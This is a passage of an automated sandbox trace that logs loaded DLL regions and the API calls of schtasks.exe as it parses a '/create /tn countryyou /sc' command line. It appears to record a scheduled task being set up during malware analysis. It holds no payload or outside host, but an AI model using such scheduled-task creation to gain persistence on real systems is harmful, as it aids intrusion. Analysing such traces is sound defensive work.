0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3139 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3140 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3141 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3142 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 147 os_tid = 0xff8 [0072.701] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19faa0 | out: lpSystemTimeAsFileTime=0x19faa0*(dwLowDateTime=0x544c74e0, dwHighDateTime=0x1d9eb0c)) [0072.701] GetCurrentProcessId () returned 0xff4 [0072.701] GetCurrentThreadId () returned 0xff8 [0072.701] GetTickCount () returned 0x1767a54 [0072.701] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x19faa8 | out: lpPerformanceCount=0x19faa8*=2487918473198) returned 1 [0072.702] GetModuleHandleW (lpModuleName=0x0) returned 0xff9d0000 [0072.702] __set_app_type (_Type=0x1) [0072.702] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff9f972c) returned 0x0 [0072.702] __wgetmainargs (in: _Argc=0xffa11240, _Argv=0xffa11250, _Env=0xffa11248, _DoWildCard=0, _StartInfo=0xffa1125c | out: _Argc=0xffa11240, _Argv=0xffa11250, _Env=0xffa11248) returned 0 [0072.703] _onexit (_Func=0xffa02ab0) returned 0xffa02ab0 [0072.703] _onexit (_Func=0xffa02ac4) returned 0xffa02ac4 [0072.703] _onexit (_Func=0xffa02afc) returned 0xffa02afc [0072.704] _onexit (_Func=0xffa02b58) returned 0xffa02b58 [0072.704] _onexit (_Func=0xffa02b80) returned 0xffa02b80 [0072.704] _onexit (_Func=0xffa02ba8) returned 0xffa02ba8 [0072.704] _onexit (_Func=0xffa02bd0) returned 0xffa02bd0 [0072.704] _onexit (_Func=0xffa02bf8) returned 0xffa02bf8 [0072.704] _onexit (_Func=0xffa02c20) returned 0xffa02c20 [0072.705] _onexit (_Func=0xffa02c48) returned 0xffa02c48 [0072.705] _onexit (_Func=0xffa02c70) returned 0xffa02c70 [0072.705] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0072.705] WinSqmIsOptedIn () returned 0x0 [0072.705] GetProcessHeap () returned 0x2d0000 [0072.706] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2e5590 [0072.706] SetLastError (dwErrCode=0x0) [0072.706] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0072.706] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0072.706] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0072.706] VerifyVersionInfoW (in: lpVersionInformation=0x19f260, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x19f260) returned 1 [0072.706] GetProcessHeap () returned 0x2d0000 [0072.706] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ebb50 [0072.706] lstrlenW (lpString="") returned 0 [0072.706] GetProcessHeap () returned 0x2d0000 [0072.706] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x2) returned 0x2ebb70 [0072.706] GetProcessHeap () returned 0x2d0000 [0072.706] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5a80 [0072.707] GetProcessHeap () returned 0x2d0000 [0072.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ebb90 [0072.707] GetProcessHeap () returned 0x2d0000 [0072.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5ab0 [0072.707] GetProcessHeap () returned 0x2d0000 [0072.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5ae0 [0072.707] GetProcessHeap () returned 0x2d0000 [0072.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5b10 [0072.707] GetProcessHeap () returned 0x2d0000 [0072.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5b40 [0072.707] GetProcessHeap () returned 0x2d0000 [0072.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ebbb0 [0072.707] GetProcessHeap () returned 0x2d0000 [0072.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5b70 [0072.707] GetProcessHeap () returned 0x2d0000 [0072.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5ba0 [0072.707] GetProcessHeap () returned 0x2d0000 [0072.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5bd0 [0072.707] GetProcessHeap () returned 0x2d0000 [0072.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5c00 [0072.707] GetProcessHeap () returned 0x2d0000 [0072.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ebbd0 [0072.707] GetProcessHeap () returned 0x2d0000 [0072.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5c30 [0072.707] GetProcessHeap () returned 0x2d0000 [0072.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5c60 [0072.707] GetProcessHeap () returned 0x2d0000 [0072.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5c90 [0072.707] GetProcessHeap () returned 0x2d0000 [0072.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5cc0 [0072.707] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.708] SetLastError (dwErrCode=0x0) [0072.708] GetProcessHeap () returned 0x2d0000 [0072.708] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5cf0 [0072.708] GetProcessHeap () returned 0x2d0000 [0072.708] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5d20 [0072.708] GetProcessHeap () returned 0x2d0000 [0072.708] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5d50 [0072.708] GetProcessHeap () returned 0x2d0000 [0072.708] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5d80 [0072.708] GetProcessHeap () returned 0x2d0000 [0072.708] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5db0 [0072.708] GetProcessHeap () returned 0x2d0000 [0072.708] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ebbf0 [0072.708] _memicmp (_Buf1=0x2ebbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.708] GetProcessHeap () returned 0x2d0000 [0072.708] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x208) returned 0x2ebd90 [0072.708] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2ebd90, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0072.708] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0072.710] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0072.710] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0072.712] GetProcessHeap () returned 0x2d0000 [0072.712] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x74e) returned 0x2ec360 [0072.712] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0072.712] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x2ec360 | out: lpData=0x2ec360) returned 1 [0072.713] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0072.713] VerQueryValueW (in: pBlock=0x2ec360, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x19f348, puLen=0x19f3b0 | out: lplpBuffer=0x19f348*=0x2ec6fc, puLen=0x19f3b0) returned 1 [0072.715] _memicmp (_Buf1=0x2ebbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.715] _vsnwprintf (in: _Buffer=0x2ebd90, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x19f328 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0072.715] VerQueryValueW (in: pBlock=0x2ec360, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x19f3b8, puLen=0x19f3a8 | out: lplpBuffer=0x19f3b8*=0x2ec528, puLen=0x19f3a8) returned 1 [0072.715] lstrlenW (lpString="schtasks.exe") returned 12 [0072.715] lstrlenW (lpString="schtasks.exe") returned 12 [0072.715] lstrlenW (lpString=".EXE") returned 4 [0072.715] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0072.717] lstrlenW (lpString="schtasks.exe") returned 12 [0072.717] lstrlenW (lpString=".EXE") returned 4 [0072.717] _memicmp (_Buf1=0x2ebbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.718] lstrlenW (lpString="schtasks") returned 8 [0072.718] GetProcessHeap () returned 0x2d0000 [0072.718] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5ea0 [0072.718] GetProcessHeap () returned 0x2d0000 [0072.718] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecc70 [0072.718] GetProcessHeap () returned 0x2d0000 [0072.718] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecca0 [0072.718] GetProcessHeap () returned 0x2d0000 [0072.718] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2eccd0 [0072.718] GetProcessHeap () returned 0x2d0000 [0072.718] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ebc10 [0072.718] _memicmp (_Buf1=0x2ebc10, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.718] GetProcessHeap () returned 0x2d0000 [0072.718] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xa0) returned 0x2ec190 [0072.719] GetProcessHeap () returned 0x2d0000 [0072.719] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecd00 [0072.719] GetProcessHeap () returned 0x2d0000 [0072.719] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecd30 [0072.719] GetProcessHeap () returned 0x2d0000 [0072.719] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecd60 [0072.719] GetProcessHeap () returned 0x2d0000 [0072.719] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ebc30 [0072.719] _memicmp (_Buf1=0x2ebc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.719] GetProcessHeap () returned 0x2d0000 [0072.719] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x200) returned 0x2ed440 [0072.719] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2ed440, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0072.719] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0072.719] GetProcessHeap () returned 0x2d0000 [0072.719] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x30) returned 0x2e7c10 [0072.719] _vsnwprintf (in: _Buffer=0x2ec190, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x19f328 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0072.719] GetProcessHeap () returned 0x2d0000 [0072.719] GetProcessHeap () returned 0x2d0000 [0072.720] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec360) returned 1 [0072.720] GetProcessHeap () returned 0x2d0000 [0072.720] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec360) returned 0x74e [0072.720] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec360 | out: hHeap=0x2d0000) returned 1 [0072.720] SetLastError (dwErrCode=0x0) [0072.720] GetThreadLocale () returned 0x409 [0072.720] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.721] lstrlenW (lpString="?") returned 1 [0072.721] GetThreadLocale () returned 0x409 [0072.721] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.721] lstrlenW (lpString="create") returned 6 [0072.721] GetThreadLocale () returned 0x409 [0072.721] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.721] lstrlenW (lpString="delete") returned 6 [0072.721] GetThreadLocale () returned 0x409 [0072.721] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.721] lstrlenW (lpString="query") returned 5 [0072.721] GetThreadLocale () returned 0x409 [0072.721] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.721] lstrlenW (lpString="change") returned 6 [0072.721] GetThreadLocale () returned 0x409 [0072.721] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.721] lstrlenW (lpString="run") returned 3 [0072.721] GetThreadLocale () returned 0x409 [0072.721] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.721] lstrlenW (lpString="end") returned 3 [0072.721] GetThreadLocale () returned 0x409 [0072.721] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.721] lstrlenW (lpString="showsid") returned 7 [0072.721] GetThreadLocale () returned 0x409 [0072.721] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.722] SetLastError (dwErrCode=0x0) [0072.722] SetLastError (dwErrCode=0x0) [0072.722] lstrlenW (lpString="/create") returned 7 [0072.722] lstrlenW (lpString="-/") returned 2 [0072.722] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0072.722] lstrlenW (lpString="?") returned 1 [0072.722] lstrlenW (lpString="?") returned 1 [0072.722] GetProcessHeap () returned 0x2d0000 [0072.722] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ec240 [0072.722] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.722] GetProcessHeap () returned 0x2d0000 [0072.722] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xa) returned 0x2ec360 [0072.722] lstrlenW (lpString="create") returned 6 [0072.722] GetProcessHeap () returned 0x2d0000 [0072.722] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ec380 [0072.722] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.722] GetProcessHeap () returned 0x2d0000 [0072.722] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x14) returned 0x2ec3a0 [0072.722] _vsnwprintf (in: _Buffer=0x2ec360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|?|") returned 3 [0072.722] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|create|") returned 8 [0072.722] lstrlenW (lpString="|?|") returned 3 [0072.722] lstrlenW (lpString="|create|") returned 8 [0072.722] SetLastError (dwErrCode=0x490) [0072.722] lstrlenW (lpString="create") returned 6 [0072.722] lstrlenW (lpString="create") returned 6 [0072.723] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.723] GetProcessHeap () returned 0x2d0000 [0072.723] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec360) returned 1 [0072.723] GetProcessHeap () returned 0x2d0000 [0072.723] RtlReAllocateHeap (Heap=0x2d0000, Flags=0xc, Ptr=0x2ec360, Size=0x14) returned 0x2ec3c0 [0072.723] lstrlenW (lpString="create") returned 6 [0072.723] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.723] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|create|") returned 8 [0072.723] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|create|") returned 8 [0072.723] lstrlenW (lpString="|create|") returned 8 [0072.723] lstrlenW (lpString="|create|") returned 8 [0072.723] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0072.723] SetLastError (dwErrCode=0x0) [0072.723] SetLastError (dwErrCode=0x0) [0072.723] SetLastError (dwErrCode=0x0) [0072.723] lstrlenW (lpString="/tn") returned 3 [0072.723] lstrlenW (lpString="-/") returned 2 [0072.723] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0072.723] lstrlenW (lpString="?") returned 1 [0072.723] lstrlenW (lpString="?") returned 1 [0072.723] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.723] lstrlenW (lpString="tn") returned 2 [0072.723] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.723] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|?|") returned 3 [0072.724] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|tn|") returned 4 [0072.724] lstrlenW (lpString="|?|") returned 3 [0072.724] lstrlenW (lpString="|tn|") returned 4 [0072.724] SetLastError (dwErrCode=0x490) [0072.724] lstrlenW (lpString="create") returned 6 [0072.724] lstrlenW (lpString="create") returned 6 [0072.724] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.724] lstrlenW (lpString="tn") returned 2 [0072.724] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.724] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|create|") returned 8 [0072.724] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|tn|") returned 4 [0072.724] lstrlenW (lpString="|create|") returned 8 [0072.724] lstrlenW (lpString="|tn|") returned 4 [0072.724] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0072.724] SetLastError (dwErrCode=0x490) [0072.724] lstrlenW (lpString="delete") returned 6 [0072.724] lstrlenW (lpString="delete") returned 6 [0072.724] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.724] lstrlenW (lpString="tn") returned 2 [0072.724] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.724] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|delete|") returned 8 [0072.724] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|tn|") returned 4 [0072.724] lstrlenW (lpString="|delete|") returned 8 [0072.724] lstrlenW (lpString="|tn|") returned 4 [0072.724] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0072.725] SetLastError (dwErrCode=0x490) [0072.725] lstrlenW (lpString="query") returned 5 [0072.725] lstrlenW (lpString="query") returned 5 [0072.725] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.725] lstrlenW (lpString="tn") returned 2 [0072.725] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.725] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|query|") returned 7 [0072.725] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|tn|") returned 4 [0072.725] lstrlenW (lpString="|query|") returned 7 [0072.725] lstrlenW (lpString="|tn|") returned 4 [0072.725] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0072.725] SetLastError (dwErrCode=0x490) [0072.725] lstrlenW (lpString="change") returned 6 [0072.725] lstrlenW (lpString="change") returned 6 [0072.725] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.725] lstrlenW (lpString="tn") returned 2 [0072.725] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.725] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|change|") returned 8 [0072.725] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|tn|") returned 4 [0072.725] lstrlenW (lpString="|change|") returned 8 [0072.725] lstrlenW (lpString="|tn|") returned 4 [0072.725] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0072.725] SetLastError (dwErrCode=0x490) [0072.725] lstrlenW (lpString="run") returned 3 [0072.725] lstrlenW (lpString="run") returned 3 [0072.725] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.726] lstrlenW (lpString="tn") returned 2 [0072.726] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.726] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|run|") returned 5 [0072.726] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|tn|") returned 4 [0072.726] lstrlenW (lpString="|run|") returned 5 [0072.726] lstrlenW (lpString="|tn|") returned 4 [0072.726] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0072.726] SetLastError (dwErrCode=0x490) [0072.726] lstrlenW (lpString="end") returned 3 [0072.726] lstrlenW (lpString="end") returned 3 [0072.726] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.726] lstrlenW (lpString="tn") returned 2 [0072.726] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.726] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|end|") returned 5 [0072.726] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|tn|") returned 4 [0072.726] lstrlenW (lpString="|end|") returned 5 [0072.726] lstrlenW (lpString="|tn|") returned 4 [0072.726] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0072.726] SetLastError (dwErrCode=0x490) [0072.726] lstrlenW (lpString="showsid") returned 7 [0072.726] lstrlenW (lpString="showsid") returned 7 [0072.726] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.726] GetProcessHeap () returned 0x2d0000 [0072.726] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec3c0) returned 1 [0072.726] GetProcessHeap () returned 0x2d0000 [0072.727] RtlReAllocateHeap (Heap=0x2d0000, Flags=0xc, Ptr=0x2ec3c0, Size=0x16) returned 0x2ec3c0 [0072.727] lstrlenW (lpString="tn") returned 2 [0072.727] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.727] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|showsid|") returned 9 [0072.727] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|tn|") returned 4 [0072.727] lstrlenW (lpString="|showsid|") returned 9 [0072.727] lstrlenW (lpString="|tn|") returned 4 [0072.727] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0072.727] SetLastError (dwErrCode=0x490) [0072.727] SetLastError (dwErrCode=0x490) [0072.727] SetLastError (dwErrCode=0x0) [0072.727] lstrlenW (lpString="/tn") returned 3 [0072.727] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0072.727] SetLastError (dwErrCode=0x490) [0072.727] SetLastError (dwErrCode=0x0) [0072.727] lstrlenW (lpString="/tn") returned 3 [0072.727] GetProcessHeap () returned 0x2d0000 [0072.727] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x8) returned 0x2ec360 [0072.727] GetProcessHeap () returned 0x2d0000 [0072.727] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecd90 [0072.727] SetLastError (dwErrCode=0x0) [0072.727] SetLastError (dwErrCode=0x0) [0072.727] lstrlenW (lpString="countryyou") returned 10 [0072.727] lstrlenW (lpString="-/") returned 2 [0072.727] StrChrIW (lpStart="-/", wMatch=0x63) returned 0x0 [0072.728] SetLastError (dwErrCode=0x490) [0072.728] SetLastError (dwErrCode=0x490) [0072.728] SetLastError (dwErrCode=0x0) [0072.728] lstrlenW (lpString="countryyou") returned 10 [0072.728] StrChrIW (lpStart="countryyou", wMatch=0x3a) returned 0x0 [0072.728] SetLastError (dwErrCode=0x490) [0072.728] SetLastError (dwErrCode=0x0) [0072.728] lstrlenW (lpString="countryyou") returned 10 [0072.728] GetProcessHeap () returned 0x2d0000 [0072.728] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x16) returned 0x2ec3f0 [0072.728] GetProcessHeap () returned 0x2d0000 [0072.728] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecdc0 [0072.728] SetLastError (dwErrCode=0x0) [0072.728] SetLastError (dwErrCode=0x0) [0072.728] lstrlenW (lpString="/sc") returned 3 [0072.728] lstrlenW (lpString="-/") returned 2 [0072.728] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0072.728] lstrlenW (lpString="?") returned 1 [0072.728] lstrlenW (lpString="?") returned 1 [0072.728] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.728] lstrlenW (lpString="sc") returned 2 [0072.728] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.728] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|?|") returned 3 [0072.728] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|sc|") returned 4 [0072.728] lstrlenW (lpString="|?|") returned 3 [0072.728] 